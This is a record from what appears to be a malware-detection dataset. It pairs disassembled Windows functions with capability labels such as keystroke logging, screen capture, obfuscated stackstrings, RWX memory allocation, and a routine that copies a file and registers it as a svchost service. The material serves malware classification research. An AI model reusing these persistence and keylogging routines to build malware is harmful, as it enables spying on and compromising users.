joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10015620
Capabilities:
Check for time delay via gettickcount
Copy file
Delete file
Query environment variable
Set file attributes

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x208
cmp eax, 1
push ebx
push esi
push edi
jne 0x100157b8
push 0x37a
push str.Sn_ivd_Jluvp_Qaqsaaa_F_oa
call fcn.10015260
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call esi
mov ebx, dword [esp + 0x224]
add esp, 0xc
push 0x104
push 0x100233c4
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x30
call esi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x11]
mov byte [esp + 0x10], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
add esp, 4
stosb byte es:[edi], al
lea eax, [esp + 0xc]
push 0x104
push eax
push str._QzqqmhSmlv__BhnaMdegoxf
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea edi, [esp + 0xc]
or ecx, 0xffffffff
xor eax, eax
push str._QzqqmhSmlv__BhnaMdegoxf
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x100233c4
mov edx, ecx
mov esi, edi
mov edi, str._QzqqmhSmlv__BhnaMdegoxf
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
test eax, eax
jne 0x100156fd
mov dword [0x10023374], ebx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x10023364], eax
call fcn.1000c190
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x208
ret 0xc
push str.Glable__Wait
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
call fcn.1000aa80
push str._QzqqmhSmlv__BhnaMdegoxf
call fcn.100144f0
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call dword [sym.imp.MSVCRT.dll_srand]
add esp, 4
push str._QzqqmhSmlv__BhnaMdegoxf
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, 0xb
mov esi, str._SystemRoot_System32_svchost.exe__k_imgsvc
lea edi, [esp + 0x110]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x36
lea edi, [esp + 0x13c]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x110]
push eax
call fcn.10014580
add esp, 4
call fcn.10014850
call fcn.10014a70
push 0x1000
push str._QzqqmhSmlv__BhnaMdegoxf
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0
push str._QzqqmhSmlv__BhnaMdegoxf
push 0x100233c4
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push str._QzqqmhSmlv__BhnaMdegoxf
call fcn.10014fe0
add esp, 4
call fcn.100146d0
call fcn.10014610
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x208
ret 0xc
Function at 0x40263c
Capabilities:
Terminate process

Disassembly:
test eax, eax
je 0x40264a
call dword [0x438014]
or eax, eax
je 0x40264b
ret
mov al, 1
jmp fcn.004026bc

Function at 0x402654
Capabilities:
Terminate process

Disassembly:
test eax, eax
je 0x402662
call dword [0x438018]
or eax, eax
jne 0x402663
ret
mov al, 2
jmp fcn.004026bc

Function at 0x40266c
Capabilities:
Terminate process

Disassembly:
mov ecx, dword [eax]
test ecx, ecx
je 0x4026a4
test edx, edx
je 0x40268e
push eax
mov eax, ecx
call dword [0x43801c]
pop ecx
or eax, eax
je 0x40269d
mov dword [ecx], eax
ret
mov al, 2
jmp fcn.004026bc
mov dword [eax], edx
mov eax, ecx
call dword [0x438018]
or eax, eax
jne 0x402687
ret
mov al, 1
jmp fcn.004026bc
test edx, edx
je 0x4026b8
push eax
mov eax, edx
call dword [0x438014]
pop ecx
or eax, eax
je 0x40269d
mov dword [ecx], eax
ret

Function at 0x402700
Capabilities:
Terminate process

Disassembly:
push eax
push edx
push ecx
call fcn.00405124
cmp dword [eax + 4], 0
pop ecx
pop edx
pop eax
jne 0x402715
ret
xor eax, eax
jmp fcn.004026bc

Function at 0x402a08
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [section.DATA]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x402aa0
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x402a80
xor eax, eax
push ebp
push 0x402a79
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x402abc
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x402a80
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [section.DATA]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [section.DATA], ax
mov esp, ebp
pop ebp
ret

Function at 0x402c70
Capabilities:
Terminate process

Disassembly:
test eax, eax
je 0x402c8a
mov ecx, eax
mov ecx, dword [ecx]
cmp ecx, edx
je 0x402c8a
mov ecx, dword [ecx - 0x18]
test ecx, ecx
jne 0x402c76
mov al, 0xa
jmp fcn.004026bc
ret

Function at 0x402cbc
Capabilities:
Terminate process

Disassembly:
cmp dword [0x439018], 0
je 0x40279b
call dword [0x439018]
mov eax, 0xd2
jmp fcn.004036a4
push eax
push ecx
mov eax, dword [eax]
call fcn.00402c8c
pop ecx
pop eax
je 0x402ccb
jmp ebx
pop ecx
jmp 0x40278c
Function at 0x403580
Capabilities:
Terminate process

Disassembly:
push ebx
push esi
push edi
push ebp
mov ebx, 0x43947c
mov esi, 0x43902c
mov edi, 0x439030
cmp byte [ebx + 0x24], 0
jne 0x4035af
cmp dword [edi], 0
je 0x4035af
mov edx, dword [edi]
mov eax, edx
xor edx, edx
mov dword [edi], edx
mov ebp, eax
call ebp
cmp dword [edi], 0
jne 0x40359e
cmp dword [0x439034], 0
je 0x4035f6
call fcn.004034fc
cmp byte [0x43903c], 0
je 0x4035dc
mov edx, 0x438024
mov eax, 0x439210
call fcn.00404c08
call fcn.00404b8b
jmp 0x4035ef
push 0
push 0x438044
push 0x438024
push 0
call sub.user32.dll_MessageBoxA
xor eax, eax
mov dword [0x439034], eax
cmp byte [ebx + 0x24], 2
jne 0x403606
cmp dword [esi], 0
jne 0x403606
xor eax, eax
mov dword [ebx + 0xc], eax
call fcn.00403348
cmp byte [ebx + 0x24], 1
jbe 0x403616
cmp dword [esi], 0
je 0x403633
mov eax, dword [ebx + 0x10]
test eax, eax
je 0x403633
call fcn.00404640
mov eax, dword [ebx + 0x10]
mov edx, dword [eax + 8]
cmp edx, dword [eax + 4]
je 0x403633
push edx
call sub.kernel32.dll_FreeLibrary
call fcn.00403320
cmp byte [ebx + 0x24], 1
jne 0x403641
call dword [ebx + 0x28]
cmp byte [ebx + 0x24], 0
je 0x40364c
call fcn.0040354c
cmp dword [ebx], 0
jne 0x403659
mov eax, dword [esi]
push eax
call sub.kernel32.dll_ExitProcess
mov eax, dword [ebx]
push esi
mov esi, eax
mov edi, ebx
mov ecx, 0xb
rep movsd dword es:[edi], dword [esi]
pop esi
jmp 0x4035f6

Function at 0x403cd0
Capabilities:
Terminate process

Disassembly:
test edx, edx
je fcn.00403c94
mov ecx, dword [edx - 4]
shr ecx, 1
je fcn.00403c94
push ecx
push edx
push eax
call sub.oleaut32.dll_SysReAllocStringLen
test eax, eax
je 0x403c8c
ret

Function at 0x403d78
Capabilities:
Terminate process

Disassembly:
mov al, 1
jmp fcn.004026bc
test ecx, ecx
je fcn.00403c94
push ecx
push edx
push eax
call sub.oleaut32.dll_SysReAllocStringLen
test eax, eax
je 0x403c8c
ret

Function at 0x403dd0
Capabilities:
Terminate process

Disassembly:
push ebx
push esi
push edi
mov ebx, eax
mov esi, edx
mov edi, ecx
xor edx, edx
mov al, byte [esi]
mov dl, byte [esi + 1]
xor ecx, ecx
cmp al, 0xa
je 0x403e0a
cmp al, 0xb
je 0x403e0a
cmp al, 0xc
je 0x403e14
cmp al, 0xd
je 0x403e27
cmp al, 0xe
je 0x403e45
cmp al, 0xf
je 0x403e0a
mov al, 2
pop edi
pop esi
pop ebx
jmp fcn.004026bc
mov dword [ebx], ecx
add ebx, 4
dec edi
jg 0x403e0a
jmp 0x403e59
mov dword [ebx], ecx
mov dword [ebx + 4], ecx
mov dword [ebx + 8], ecx
mov dword [ebx + 0xc], ecx
add ebx, 0x10
dec edi
jg 0x403e14
jmp 0x403e59
push ebp
mov ebp, edx
mov edx, dword [esi + ebp + 0xa]
mov eax, ebx
add ebx, dword [esi + ebp + 2]
mov ecx, dword [esi + ebp + 6]
mov edx, dword [edx]
call 0x403dd0
dec edi
jg 0x403e2a
pop ebp
jmp 0x403e59
push ebp
mov ebp, edx
mov eax, ebx
add ebx, dword [esi + ebp + 2]
mov edx, esi
call fcn.00403da4
dec edi
jg 0x403e48
pop ebp
pop edi
pop esi
pop ebx
ret
mov ecx, 1
jmp 0x403dd0
Function at 0x403e60
Capabilities:
Terminate process

Disassembly:
push ebx
push esi
push edi
mov ebx, eax
mov esi, edx
mov edi, ecx
xor edx, edx
mov al, byte [esi]
mov dl, byte [esi + 1]
xor ecx, ecx
cmp al, 0xa
je 0x403e0a
cmp al, 0xb
je 0x403e0a
cmp al, 0xc
je 0x403e14
cmp al, 0xd
je 0x403e27
cmp al, 0xe
je 0x403e45
cmp al, 0xf
je 0x403e0a
mov al, 2
pop edi
pop esi
pop ebx
jmp fcn.004026bc
mov dword [ebx], ecx
add ebx, 4
dec edi
jg 0x403e0a
jmp 0x403e59
mov dword [ebx], ecx
mov dword [ebx + 4], ecx
mov dword [ebx + 8], ecx
mov dword [ebx + 0xc], ecx
add ebx, 0x10
dec edi
jg 0x403e14
jmp 0x403e59
push ebp
mov ebp, edx
mov edx, dword [esi + ebp + 0xa]
mov eax, ebx
add ebx, dword [esi + ebp + 2]
mov ecx, dword [esi + ebp + 6]
mov edx, dword [edx]
call 0x403dd0
dec edi
jg 0x403e2a
pop ebp
jmp 0x403e59
push ebp
mov ebp, edx
mov eax, ebx
add ebx, dword [esi + ebp + 2]
mov edx, esi
call fcn.00403da4
dec edi
jg 0x403e48
pop ebp
pop edi
pop esi
pop ebx
ret
mov ecx, 1
jmp 0x403dd0

Function at 0x403e98
Capabilities:
Terminate process

Disassembly:
push eax
push ebx
push esi
push edi
mov ebx, eax
mov esi, edx
mov edi, ecx
xor edx, edx
mov al, byte [esi]
mov dl, byte [esi + 1]
cmp al, 0xa
je 0x403ed2
cmp al, 0xb
je 0x403ee9
cmp al, 0xc
je 0x403f00
cmp al, 0xd
je 0x403f0f
cmp al, 0xe
je 0x403f2d
cmp al, 0xf
je 0x403f43
pop edi
pop esi
pop ebx
pop eax
mov al, 2
jmp fcn.004026bc
cmp ecx, 1
mov eax, ebx
jg 0x403ee0
call fcn.004036b0
jmp 0x403f50
mov edx, ecx
call fcn.004036d4
jmp 0x403f50
cmp ecx, 1
mov eax, ebx
jg 0x403ef7
call fcn.00403c94
jmp 0x403f50
mov edx, ecx
call fcn.00403cac
jmp 0x403f50
mov eax, ebx
add ebx, 0x10
call fcn.00404340
dec edi
jg 0x403f00
jmp 0x403f50
push ebp
mov ebp, edx
mov edx, dword [esi + ebp + 0xa]
mov eax, ebx
add ebx, dword [esi + ebp + 2]
mov ecx, dword [esi + ebp + 6]
mov edx, dword [edx]
call fcn.00403e98
dec edi
jg 0x403f12
pop ebp
jmp 0x403f50
push ebp
mov ebp, edx
mov eax, ebx
add ebx, dword [esi + ebp + 2]
mov edx, esi
call fcn.00403e6c
dec edi
jg 0x403f30
pop ebp
jmp 0x403f50
mov eax, ebx
add ebx, 4
call fcn.004046f4
dec edi
jg 0x403f43
pop edi
pop esi
pop ebx
pop eax
ret

Function at 0x403f58
Capabilities:
Terminate process

Disassembly:
mov ecx, 1
jmp fcn.00403e98

Function at 0x4040dc
Capabilities:
Terminate process

Disassembly:
mov al, 0x10
jmp fcn.004026bc
cmp eax, edx
je 0x40414c
cmp word [eax], 8
jb 0x404101
push eax
push edx
cmp word [eax], 0x100
je 0x4040f7
push eax
call sub.oleaut32.dll_VariantClear
jmp 0x4040ff
add eax, 8
call fcn.004036b0
pop edx
pop eax
cmp word [edx], 8
jae 0x404118
mov ecx, dword [edx]
mov dword [eax], ecx
mov ecx, dword [edx + 8]
mov dword [eax + 8], ecx
mov ecx, dword [edx + 0xc]
mov dword [eax + 0xc], ecx
ret
cmp word [edx], 0x100
jne 0x404138
mov edx, dword [edx + 8]
or edx, edx
je 0x40412f
mov ecx, dword [edx - 8]
inc ecx
jle 0x40412f
mov dword [edx - 8], ecx
mov word [eax], pe_nt_image_headers32
mov dword [eax + 8], edx
ret
mov word [eax], 0
push edx
push eax
call sub.oleaut32.dll_VariantCopyInd
or eax, eax
jne 0x4040a0
ret
Function at 0x404394
Capabilities:
Get geographical location
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
mov dword [ebp - 4], eax
push 0x105
lea eax, [ebp - 0x11d]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov byte [ebp - 0x12], 0
lea eax, [ebp - 8]
push eax
push 0xf003f
push 0
push 0x404530
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x404444
xor eax, eax
push ebp
push 0x40443d
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x18], 5
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
lea eax, [ebp - 0x11d]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x404426
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
push 0x404550
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x404444
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrcpyA
push 5
lea eax, [ebp - 0xd]
push eax
push 3
call sub.kernel32.dll_GetThreadLocale
push eax
call sub.kernel32.dll_GetLocaleInfoA
xor esi, esi
cmp byte [ebp - 0x11d], 0
je 0x404525
cmp byte [ebp - 0xd], 0
jne 0x404486
cmp byte [ebp - 0x12], 0
je 0x404525
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrlenA
mov ebx, eax
lea eax, [ebp - 0x11d]
add ebx, eax
jmp 0x40449f
dec ebx
cmp byte [ebx], 0x2e
je 0x4044ae
lea eax, [ebp - 0x11d]
cmp ebx, eax
jne 0x40449e
lea eax, [ebp - 0x11d]
cmp ebx, eax
je 0x404525
inc ebx
cmp byte [ebp - 0x12], 0
je 0x4044db
lea eax, [ebp - 0x12]
push eax
push ebx
call sub.kernel32.dll_lstrcpyA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x404525
cmp byte [ebp - 0xd], 0
je 0x404525
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpyA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x404525
mov byte [ebp - 0xb], 0
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpyA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x407304
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40733d
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.00403794
jmp 0x407346
mov eax, ebx
mov edx, esi
call fcn.00403748
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x407350
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x407371
mov al, byte [esp]
jmp 0x407373
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x4118b0
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x4118b6
ret

Function at 0x413bbc
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
lea eax, [ebp - 0x2c]
push eax
call sub.kernel32.dll_GetSystemInfo
mov edx, dword [ebp - 4]
mov ecx, dword [ebp - 8]
dec ecx
js 0x413c0d
lea eax, [ebp - 0x2c]
cmp word [eax + 0x20], 3
je 0x413bf4
mov eax, dword [edx + ecx*4]
bswap eax
shr eax, 8
mov dword [edx + ecx*4], eax
dec ecx
jns 0x413be4
jmp 0x413c0d
push ebx
xor ebx, ebx
mov eax, dword [edx + ecx*4]
mov bh, al
mov bl, ah
shr eax, 0x10
shl ebx, 8
mov bl, al
mov dword [edx + ecx*4], ebx
dec ecx
jns 0x413bf5
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x414474
Capabilities:
Contain obfuscated stackstrings

Disassembly:
rol esi, cl
inc ebp
stc
mov byte [ebp - 0xc], 0xcd
mov byte [ebp - 0xb], 0xda
mov byte [ebp - 0xa], 0xda
mov byte [ebp - 9], 0xbf
call fcn.004140a2
push eax
push esi
push dword [ebp + 8]
call fcn.00414057
mov dword [ebp - 8], eax
lea eax, [ebp - 0x6c]
push eax
mov byte [ebp - 0x6c], bl
mov byte [ebp - 0x6b], bl
mov byte [ebp - 0x6a], 0xbe
mov byte [ebp - 0x69], bl
mov byte [ebp - 0x68], 0x17
mov byte [ebp - 0x67], 0x28
mov byte [ebp - 0x66], 0x33
mov byte [ebp - 0x65], 0x35
mov byte [ebp - 0x64], 0x34
mov byte [ebp - 0x63], 0x20
and dh, al
inc ebp
sahf
sub eax, 0x119f45c6
mov byte [ebp - 0x60], 0x33
mov byte [ebp - 0x5f], 0x2e
mov byte [ebp - 0x5e], 0x35
mov byte [ebp - 0x5d], 0x24
mov byte [ebp - 0x5c], 0x22
mov byte [ebp - 0x5b], 0x35
mov byte [ebp - 0x5a], 0x41
call fcn.004140a2
push eax
push esi
push dword [ebp + 8]
call fcn.00414057
mov dword [ebp - 0xbc], eax
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x2c], bl
push eax
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x2a], 0xd4
mov byte [ebp - 0x29], bl
mov byte [ebp - 0x28], 0x67
mov byte [ebp - 0x27], 0x44
mov byte [ebp - 0x26], 0x4a
mov byte [ebp - 0x25], 0x4f
mov byte [ebp - 0x24], 0x67
mov byte [ebp - 0x23], 0x42
mov byte [ebp - 0x22], 0x49
mov byte [ebp - 0x21], 0x59
mov byte [ebp - 0x20], 0x4a
mov byte [ebp - 0x1f], 0x59
mov byte [ebp - 0x1e], 0x52
mov byte [ebp - 0x1d], 0x6a
mov byte [ebp - 0x1c], 0x2b
call fcn.004140a2
push eax
push esi
push dword [ebp + 8]
call fcn.00414057
add esp, 0x30
mov dword [ebp - 0xb8], eax
call fcn.00414092
enter 0x496d, 0x44
mov byte [ebp - 0x84], bl
mov byte [ebp - 0x83], bl
mov byte [ebp - 0x82], 0xe9
invalid
popfd
jg 0x41452a
invalid
Function at 0x41d840
Capabilities:
Capture screenshot

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff94
push ebx
push esi
push edi
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0x114], 0
je 0x41d85c
cmp dword [esi + 4], 0
je 0x41d883
mov eax, ebx
call fcn.0041ca74
test eax, eax
jne 0x41d875
mov edx, esi
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx - 0x10]
jmp 0x41d993
mov edx, esi
mov eax, ebx
call fcn.0041d4e4
jmp 0x41d993
push 0
call sub.user32.dll_GetDC
mov edi, eax
lea edx, [ebp - 0x5c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x2c]
mov eax, dword [ebp - 0x50]
push eax
lea edx, [ebp - 0x6c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x2c]
mov eax, dword [ebp - 0x64]
push eax
push edi
call sub.gdi32.dll_CreateCompatibleBitmap
mov dword [ebp - 8], eax
push edi
push 0
call sub.user32.dll_ReleaseDC
push 0
call sub.gdi32.dll_CreateCompatibleDC
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_SelectObject
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x41d98c
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x4c]
push eax
mov eax, ebx
call fcn.0041ee40
push eax
call sub.user32.dll_BeginPaint
mov edi, eax
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 4]
mov edx, 0x14
mov eax, ebx
call fcn.0041b97c
mov eax, dword [ebp - 4]
mov dword [esi + 4], eax
mov edx, esi
mov eax, ebx
call fcn.0041d840
xor eax, eax
mov dword [esi + 4], eax
push 0xcc0020
push 0
push 0
mov eax, dword [ebp - 4]
push eax
lea edx, [ebp - 0x5c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x2c]
mov eax, dword [ebp - 0x50]
push eax
lea edx, [ebp - 0x6c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x2c]
mov eax, dword [ebp - 0x64]
push eax
push 0
push 0
push edi
call sub.gdi32.dll_BitBlt
lea eax, [ebp - 0x4c]
push eax
mov eax, ebx
call fcn.0041ee40
push eax
call sub.user32.dll_EndPaint
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41d993
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_SelectObject
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_DeleteDC
mov eax, dword [ebp - 8]
push eax
call sub.gdi32.dll_DeleteObject
ret
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x421d10
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
mov ebx, edx
mov word [ebp - 2], ax
mov eax, ebx
call fcn.004036b0
push 0
xor eax, eax
mov al, byte [ebp - 2]
push eax
call sub.user32.dll_MapVirtualKeyA
shl eax, 0x10
test eax, eax
je 0x421d71
push pe_nt_image_headers32
lea edx, [ebp - 0x102]
push edx
push eax
call sub.user32.dll_GetKeyNameTextA
cmp byte [ebp - 0x101], 0
jne 0x421d71
cmp byte [ebp - 0x102], 0
je 0x421d71
mov eax, ebx
lea edx, [ebp - 0x102]
mov ecx, pe_nt_image_headers32
call fcn.004038dc
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x423100
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
mov ebx, edx
mov dword [ebp - 0xc], eax
xor eax, eax
mov edx, dword [ebp - 0xc]
cmp dword [edx + 0x28], 0
je 0x423181
xor eax, eax
mov al, byte [ebx + 4]
mov word [ebp - 6], ax
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x423132
add word [ebp - 6], 0x2000
push 0x11
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x423144
add word [ebp - 6], 0x4000
test byte [ebx + 0xb], 0x20
je 0x423150
add word [ebp - 6], 0x8000
xor ebx, ebx
movzx edx, word [ebp - 6]
mov cl, 2
mov eax, dword [ebp - 0xc]
call fcn.00422f8c
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x423175
push ebp
mov eax, dword [ebp - 4]
call fcn.00423070
pop ecx
mov ebx, eax
cmp bl, 2
je 0x423150
cmp dword [ebp - 4], 0
setne al
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x424fcc
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, 0x43971c
cmp dword [edi], 0
jne 0x425048
push 0x40
push 0x1000
push 0x1000
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov esi, eax
mov eax, dword [0x439718]
mov dword [esi], eax
lea edx, [esi + 4]
mov eax, 0x438710
mov ecx, 2
call fcn.00402730
mov edx, 0x424fa4
lea eax, [esi + 5]
call fcn.00424fc4
mov dword [esi + 6], eax
lea ebx, [esi + 0xa]
mov byte [ebx], 0xe8
lea edx, [esi + 4]
mov eax, ebx
call fcn.00424fc4
mov dword [ebx + 1], eax
mov eax, dword [edi]
mov dword [ebx + 5], eax
mov dword [edi], ebx
add ebx, 0xd
mov eax, ebx
sub eax, esi
cmp eax, 0xffc
jl 0x42501d
mov dword [0x439718], esi
mov eax, dword [edi]
mov ebx, dword [edi]
mov edx, dword [ebx + 5]
mov dword [edi], edx
mov edx, dword [ebp + 8]
mov dword [ebx + 5], edx
mov edx, dword [ebp + 0xc]
mov dword [ebx + 9], edx
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x42516c
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x4251bc]
test si, 4
je 0x425180
or bl, 1
test si, 8
je 0x42518a
or bl, 4
test si, 1
je 0x425194
or bl, 8
test si, 2
je 0x42519e
or bl, 0x10
test si, 0x10
je 0x4251a8
or bl, 0x20
push 0x12
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x4251b7
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret